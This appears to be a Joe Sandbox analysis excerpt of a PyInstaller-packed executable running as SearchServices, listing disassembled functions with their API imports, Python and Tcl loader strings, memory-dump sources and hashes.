Instruction ID: d04c00d1f4f1ed9028b723d50b6066839f1e07b75db1df4e2e476eb7cb506916
Opcode Fuzzy Hash: d8b55510c5610d80ab4c44b86d687719a9e038cf882b555fd49ed5282eff217e
Instruction Fuzzy Hash: BEF05E06FAE28745FE2876E35C54675D290CF6C7A0F890232D93E893C1DE5EE4908939

Function 00007FF7287F8610 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7287F8629

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5d337e270712d004679ba659ef610f4cb2fc78abe2ab3a8c8a6757f66acf180b
Instruction ID: 0413ab91dbb4e2ba0fe20e8515337a08e69e085afc3bc4a73557443c94ac12d3
Opcode Fuzzy Hash: 5d337e270712d004679ba659ef610f4cb2fc78abe2ab3a8c8a6757f66acf180b
Instruction Fuzzy Hash: 96E0EC50E8D60742FE647BE68DC2579E121CF7D340FA44032DA190A383DD2E68849E3A

Function 00007FF7287E85F0 Relevance: 1.3, APIs: 1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: DirectoryErrorLastRemove
String ID:
API String ID: 377330604-0
Opcode ID: 29abbcd590d8bc83be46253168ccef4893bb64efb014d6d51ae576ec86481027
Instruction ID: a8990f7a641173473cca713443b2ff32b073f0b07ae8f829a325e712a1041ba4
Opcode Fuzzy Hash: 29abbcd590d8bc83be46253168ccef4893bb64efb014d6d51ae576ec86481027
Instruction Fuzzy Hash: 3541A516D5C6C581E711AB649D012BCE360FBA9744F94A333DF8D422A3EF39A5D8CB24

Non-executed Functions

Function 00007FF7287E53F0 Relevance: 233.1, APIs: 44, Strings: 89, Instructions: 363libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,00007FF7287E344E), ref: 00007FF7287E5400
GetProcAddress.KERNEL32(?,?,00000000,00007FF7287E344E), ref: 00007FF7287E543A
GetProcAddress.KERNEL32(?,?,00000000,00007FF7287E344E), ref: 00007FF7287E545F
GetProcAddress.KERNEL32(?,?,00000000,00007FF7287E344E), ref: 00007FF7287E5484
GetProcAddress.KERNEL32(?,?,00000000,00007FF7287E344E), ref: 00007FF7287E54AC
GetProcAddress.KERNEL32(?,?,00000000,00007FF7287E344E), ref: 00007FF7287E54D4
GetProcAddress.KERNEL32(?,?,00000000,00007FF7287E344E), ref: 00007FF7287E54FC
GetProcAddress.KERNEL32(?,?,00000000,00007FF7287E344E), ref: 00007FF7287E5524
GetProcAddress.KERNEL32(?,?,00000000,00007FF7287E344E), ref: 00007FF7287E554C
GetProcAddress.KERNEL32(?,?,00000000,00007FF7287E344E), ref: 00007FF7287E5574

Strings

GetProcAddress, xrefs: 00007FF7287E5419
Failed to get address for PyObject_SetAttrString, xrefs: 00007FF7287E58CE
PyErr_Restore, xrefs: 00007FF7287E56D2
PyObject_Str, xrefs: 00007FF7287E58DA
Failed to get address for Py_DecRef, xrefs: 00007FF7287E5412
Failed to get address for PyPreConfig_InitIsolatedConfig, xrefs: 00007FF7287E591E
Py_IsInitialized, xrefs: 00007FF7287E54CA
Failed to get address for PyUnicode_Join, xrefs: 00007FF7287E5AAE
Failed to get address for PyErr_Restore, xrefs: 00007FF7287E56EE
PyMarshal_ReadObjectFromString, xrefs: 00007FF7287E57C2
PyConfig_SetWideStringList, xrefs: 00007FF7287E55E2
PyObject_CallFunction, xrefs: 00007FF7287E583A
PyConfig_Read, xrefs: 00007FF7287E556A
Failed to get address for PySys_SetObject, xrefs: 00007FF7287E59BE
Failed to get address for PyUnicode_DecodeFSDefault, xrefs: 00007FF7287E5A36
Failed to get address for Py_ExitStatusException, xrefs: 00007FF7287E5471
Failed to get address for PyErr_Clear, xrefs: 00007FF7287E5626
Failed to get address for PyErr_Print, xrefs: 00007FF7287E56C6
PyObject_SetAttrString, xrefs: 00007FF7287E58B2
Failed to get address for PyStatus_Exception, xrefs: 00007FF7287E596E
Py_PreInitialize, xrefs: 00007FF7287E54F2
Failed to get address for PyUnicode_AsUTF8, xrefs: 00007FF7287E59E6
Failed to get address for PyConfig_SetBytesString, xrefs: 00007FF7287E55AE
Py_InitializeFromConfig, xrefs: 00007FF7287E54A2
Failed to get address for PyModule_GetDict, xrefs: 00007FF7287E582E
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF7287E5902
PySys_GetObject, xrefs: 00007FF7287E597A
Failed to get address for PyRun_SimpleStringFlags, xrefs: 00007FF7287E5946
Failed to get address for PyErr_Fetch, xrefs: 00007FF7287E564E
PyEval_EvalCode, xrefs: 00007FF7287E56FA
Failed to get address for PyConfig_Read, xrefs: 00007FF7287E5586
Failed to get address for PyConfig_InitIsolatedConfig, xrefs: 00007FF7287E555E
Failed to get address for PyErr_Occurred, xrefs: 00007FF7287E569E
Failed to get address for PyImport_AddModule, xrefs: 00007FF7287E573E
Failed to get address for Py_IsInitialized, xrefs: 00007FF7287E54E6
Failed to get address for PyConfig_SetString, xrefs: 00007FF7287E55D6
PyObject_GetAttrString, xrefs: 00007FF7287E588A
PyRun_SimpleStringFlags, xrefs: 00007FF7287E592A
Failed to get address for PyUnicode_Replace, xrefs: 00007FF7287E5AD6
Failed to get address for PyUnicode_FromFormat, xrefs: 00007FF7287E5A5E
PyUnicode_FromFormat, xrefs: 00007FF7287E5A42
PyUnicode_Join, xrefs: 00007FF7287E5A92
PyConfig_Clear, xrefs: 00007FF7287E551A
PyErr_NormalizeException, xrefs: 00007FF7287E565A
PyErr_Clear, xrefs: 00007FF7287E560A
PyImport_ExecCodeModule, xrefs: 00007FF7287E574A
Failed to get address for PyObject_CallFunction, xrefs: 00007FF7287E5856
Failed to get address for PyObject_GetAttrString, xrefs: 00007FF7287E58A6
Failed to get address for Py_Finalize, xrefs: 00007FF7287E5496
PyConfig_SetBytesString, xrefs: 00007FF7287E5592
Py_DecodeLocale, xrefs: 00007FF7287E5430
Py_Finalize, xrefs: 00007FF7287E547A
Failed to get address for PyImport_ImportModule, xrefs: 00007FF7287E578E
Failed to get address for PyObject_Str, xrefs: 00007FF7287E58F6
PyUnicode_FromString, xrefs: 00007FF7287E5A6A
Failed to get address for PyUnicode_FromString, xrefs: 00007FF7287E5A86
PyObject_CallFunctionObjArgs, xrefs: 00007FF7287E5862
PyImport_ImportModule, xrefs: 00007FF7287E5772
Py_DecRef, xrefs: 00007FF7287E53F6
PyErr_Fetch, xrefs: 00007FF7287E5632
Failed to get address for PyMem_RawFree, xrefs: 00007FF7287E5806
PySys_SetObject, xrefs: 00007FF7287E59A2
Failed to get address for PyObject_CallFunctionObjArgs, xrefs: 00007FF7287E587E
Failed to get address for Py_InitializeFromConfig, xrefs: 00007FF7287E54BE
PyModule_GetDict, xrefs: 00007FF7287E5812
PyUnicode_Replace, xrefs: 00007FF7287E5ABA
Failed to get address for PyEval_EvalCode, xrefs: 00007FF7287E5716
PyErr_Print, xrefs: 00007FF7287E56AA
PyConfig_InitIsolatedConfig, xrefs: 00007FF7287E5542
Py_ExitStatusException, xrefs: 00007FF7287E5455
PyList_Append, xrefs: 00007FF7287E579A
Failed to get address for PyConfig_Clear, xrefs: 00007FF7287E5536
PyUnicode_AsUTF8, xrefs: 00007FF7287E59CA
Failed to get address for PyMarshal_ReadObjectFromString, xrefs: 00007FF7287E57DE
PyImport_AddModule, xrefs: 00007FF7287E5722
Failed to get address for PyImport_ExecCodeModule, xrefs: 00007FF7287E5766
PyUnicode_DecodeFSDefault, xrefs: 00007FF7287E5A1A
PyConfig_SetString, xrefs: 00007FF7287E55BA
Failed to get address for PyConfig_SetWideStringList, xrefs: 00007FF7287E55FE
Failed to get address for Py_PreInitialize, xrefs: 00007FF7287E550E
Failed to get address for PyUnicode_Decode, xrefs: 00007FF7287E5A0E
PyMem_RawFree, xrefs: 00007FF7287E57EA
PyUnicode_Decode, xrefs: 00007FF7287E59F2
PyStatus_Exception, xrefs: 00007FF7287E5952
Failed to get address for PyErr_NormalizeException, xrefs: 00007FF7287E5676
Failed to get address for PySys_GetObject, xrefs: 00007FF7287E5996
PyErr_Occurred, xrefs: 00007FF7287E5682
Failed to get address for PyList_Append, xrefs: 00007FF7287E57B6
Failed to get address for Py_DecodeLocale, xrefs: 00007FF7287E544C

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for PyConfig_Clear$Failed to get address for PyConfig_InitIsolatedConfig$Failed to get address for PyConfig_Read$Failed to get address for PyConfig_SetBytesString$Failed to get address for PyConfig_SetString$Failed to get address for PyConfig_SetWideStringList$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyPreConfig_InitIsolatedConfig$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PyStatus_Exception$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetObject$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_ExitStatusException$Failed to get address for Py_Finalize$Failed to get address for Py_InitializeFromConfig$Failed to get address for Py_IsInitialized$Failed to get address for Py_PreInitialize$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 190572456-4266016200
Opcode ID: 849092ee313d90182648ac5091f6841dd271f5938a0293141bcf3cafd9cdb4f6
Instruction ID: 6a558293c67d8f9fdef1152ed0a7449284e6758d83ce84761805f98d30b9c91d
Opcode Fuzzy Hash: 849092ee313d90182648ac5091f6841dd271f5938a0293141bcf3cafd9cdb4f6
Instruction Fuzzy Hash: EB12D464A6EB4790FA14EF44AC90170E3A1EF09745FD46133D81E067A4FF7FB5688A28

Function 00007FF7287E8770 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF7287E2A3E,?,?,?,?,?,?,?,?,?,?,?,00007FF7287E101D), ref: 00007FF7287E8797
FormatMessageW.KERNEL32 ref: 00007FF7287E87C6
WideCharToMultiByte.KERNEL32 ref: 00007FF7287E881C

Part of subcall function 00007FF7287E29C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7287E8AF2,?,?,?,?,?,?,?,?,?,?,?,00007FF7287E101D), ref: 00007FF7287E29F4
Part of subcall function 00007FF7287E29C0: MessageBoxW.USER32 ref: 00007FF7287E2AD0

Strings

WideCharToMultiByte, xrefs: 00007FF7287E882D
PyInstaller: FormatMessageW failed., xrefs: 00007FF7287E87E3
PyInstaller: pyi_win32_utils_to_utf8 failed., xrefs: 00007FF7287E8839
Failed to encode wchar_t as UTF-8., xrefs: 00007FF7287E8826
FormatMessageW, xrefs: 00007FF7287E87D7
No error messages generated., xrefs: 00007FF7287E87D0

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: ErrorLastMessage$ByteCharFormatMultiWide
String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
API String ID: 2920928814-2573406579
Opcode ID: 71548051bea7547f5d5b972cb2661fdb12455c7e02de19cea235076eba1ea75f
Instruction ID: eb42241241906c585abd634aa0d4a7ede083d73ed23877594c2dc13791f1662a
Opcode Fuzzy Hash: 71548051bea7547f5d5b972cb2661fdb12455c7e02de19cea235076eba1ea75f
Instruction Fuzzy Hash: 7D21A732A28A8285F760AB54EC8426AE3A1FF48344FC40037D65D826A5EF3DD1148F24

Function 00000264CC277D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000264CC277DAC
RtlCaptureContext.NTDLL ref: 00000264CC277DD9
RtlLookupFunctionEntry.NTDLL ref: 00000264CC277DF3
RtlVirtualUnwind.NTDLL ref: 00000264CC277E34
IsDebuggerPresent.KERNEL32 ref: 00000264CC277E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000264CC277EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000264CC277EB4

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: ee13e7167e5b4f5d986c3f3c3ec2c3c7c53768e52d2d040926159957c36b4e77
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: B7315277606B80CAEB60AF60E8947ED7364F784B44F44542ADB8D57BA8EF39C648C710

Function 00007FF7287EC8BC Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7287EC8D8
RtlCaptureContext.KERNEL32 ref: 00007FF7287EC905
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7287EC91F
RtlVirtualUnwind.KERNEL32 ref: 00007FF7287EC960
IsDebuggerPresent.KERNEL32 ref: 00007FF7287EC9B4
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7287EC9D1
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7287EC9DC

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 4f1605a870b3ab58307638b90f69401c730c876d9dfa7ce500e329c816792819
Instruction ID: 0a45bd9d37e3f75162f8333c1c336910c8fdf0a6160d04c15b87ccf150b6129a
Opcode Fuzzy Hash: 4f1605a870b3ab58307638b90f69401c730c876d9dfa7ce500e329c816792819
Instruction Fuzzy Hash: A3315C76618A8186FB60AF60EC403ADB3A5FB88704F44403BDA4D43B94EF39C258CB24

Function 00000264CC27D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000264CC27D31D
RtlLookupFunctionEntry.NTDLL ref: 00000264CC27D335
RtlVirtualUnwind.NTDLL ref: 00000264CC27D370
IsDebuggerPresent.KERNEL32 ref: 00000264CC27D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000264CC27D3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000264CC27D3BE

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: c22d64b192d970def5d657b9d9180663226f5f47b178361b907b9c92e5906afb
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: A3317C36615B80C6EB60EF25E8947EE73A0F789B54F501126EADD43BA9DF39C245CB00

Function 00007FF7287FB3CC Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7287FB445
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7287FB45D
RtlVirtualUnwind.KERNEL32 ref: 00007FF7287FB498
IsDebuggerPresent.KERNEL32 ref: 00007FF7287FB4D1
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7287FB4DB
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7287FB4E6

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: f3d77d60e417bce1f0fe908812719be64cab24703666754eed0168e01bd0a785
Instruction ID: 8b9d7550d31b96d0ccdcf5dd16639181e969e2e18bcd64749f7d967e602095ba
Opcode Fuzzy Hash: f3d77d60e417bce1f0fe908812719be64cab24703666754eed0168e01bd0a785
Instruction Fuzzy Hash: 09316236618B8185E760DF65EC402AEB3A4FB88794F940137EA9D43B94EF3DC159CB14

Function 00007FF7288026C4 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF728802710
FindFirstFileExW.KERNEL32 ref: 00007FF72880281A

Memory Dump Source

Source File: 00000005.00000002.1965749019.00007FF7287E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7287E0000, based on PE: true

Associated: 00000005.00000002.1965692149.00007FF7287E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965848141.00007FF72880C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF72881F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965911829.00007FF728821000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.1965973603.00007FF728823000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7287e0000_SearchServices.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: b3715d4618dde4abce6a703dfc2b0a62f6c41887aa9418885becb382e3094c85
Instruction ID: 7af3c35dc90095bea5c1fc6a9460a81ffd8c14a1a9b8f3065c3b07b152145569
Opcode Fuzzy Hash: b3715d4618dde4abce6a703dfc2b0a62f6c41887aa9418885becb382e3094c85
Instruction Fuzzy Hash: B6B11826B2868641EA62EB629C006B9E3D1EB44BE4F840133DD6D07BC5DF7DE451CB25

Function 00000264CC277960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000264CC27798C
GetCurrentThreadId.KERNEL32 ref: 00000264CC27799A
GetCurrentProcessId.KERNEL32 ref: 00000264CC2779A6
QueryPerformanceCounter.KERNEL32 ref: 00000264CC2779B6

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: c5865e79ab44bfd7c0aeacc6b19b9094846eccd63d1375e147084fd0ef0277a7
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: CE113032B11F01C9EB00DF65E8693E833A4F719758F441E22DEAD867A5DF79C2988380

Function 00000264CC27DCE0 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1965551247.00000264CC270000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000264CC270000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc270000_SearchServices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction ID: f19808bc0a82ecf17439efd0186437da14def37710c6c38a098ad9f61e7bf0cf
Opcode Fuzzy Hash: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction Fuzzy Hash: D151D532B01790C9FB20EB76E9987DE7BA1F7447A4F145116EE9827BA9DB39C601C700

Function 00000264CC2536F0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1965448950.00000264CC240000.00000040.00000400.00020000.00000000.sdmp, Offset: 00000264CC240000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_264cc240000_SearchServices.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction ID: 997ef62b8e8a9c40870de2819197f64a66d49ee8c8f363eb4ef36aeb5fc10591
Opcode Fuzzy Hash: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction Fuzzy Hash: CFF062B2B15294CFDBA89F28A81679A77E1F318380FD0901AD6C983B14D63D8560CF14

Function 00007FF7287E7100 Relevance: 164.8, APIs: 31, Strings: 63, Instructions: 263libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7287E7117
GetProcAddress.KERNEL32 ref: 00007FF7287E7156
GetProcAddress.KERNEL32 ref: 00007FF7287E717B
GetProcAddress.KERNEL32 ref: 00007FF7287E71A0
GetProcAddress.KERNEL32 ref: 00007FF7287E71C8
GetProcAddress.KERNEL32 ref: 00007FF7287E71F0
GetProcAddress.KERNEL32 ref: 00007FF7287E7218
GetProcAddress.KERNEL32 ref: 00007FF7287E7240
GetProcAddress.KERNEL32 ref: 00007FF7287E7268

Strings

GetProcAddress, xrefs: 00007FF7287E7130
Tcl_EvalObjv, xrefs: 00007FF7287E752E
Tcl_GetString, xrefs: 00007FF7287E7416
Tk_GetNumMainWindows, xrefs: 00007FF7287E75CE
Failed to get address for Tk_GetNumMainWindows, xrefs: 00007FF7287E75EA
Failed to get address for Tcl_FinalizeThread, xrefs: 00007FF7287E7202
Tcl_GetVar2, xrefs: 00007FF7287E739E
Tcl_ThreadQueueEvent, xrefs: 00007FF7287E734E
Tcl_Free, xrefs: 00007FF7287E757E
Failed to get address for Tcl_MutexLock, xrefs: 00007FF7287E72A2
Failed to get address for Tcl_ConditionNotify, xrefs: 00007FF7287E731A
Tcl_CreateInterp, xrefs: 00007FF7287E714C
Tcl_MutexLock, xrefs: 00007FF7287E7286
Failed to get address for Tcl_ThreadQueueEvent, xrefs: 00007FF7287E736A
Tcl_ConditionFinalize, xrefs: 00007FF7287E72D6
Failed to get address for Tcl_MutexUnlock, xrefs: 00007FF7287E72CA
Tcl_NewByteArrayObj, xrefs: 00007FF7287E7466
Tcl_GetCurrentThread, xrefs: 00007FF7287E725E
Failed to get address for Tcl_ThreadAlert, xrefs: 00007FF7287E7392
Failed to get address for Tcl_NewByteArrayObj, xrefs: 00007FF7287E7482
Failed to get address for Tcl_FindExecutable, xrefs: 00007FF7287E718D
Failed to get address for Tcl_CreateObjCommand, xrefs: 00007FF7287E740A
Failed to get address for Tcl_Free, xrefs: 00007FF7287E759A
Failed to get address for Tcl_SetVar2, xrefs: 00007FF7287E73E2
Failed to get address for Tcl_CreateThread, xrefs: 00007FF7287E7252
Tk_Init, xrefs: 00007FF7287E75A6
Failed to get address for Tcl_EvalEx, xrefs: 00007FF7287E7522
Tcl_NewStringObj, xrefs: 00007FF7287E743E
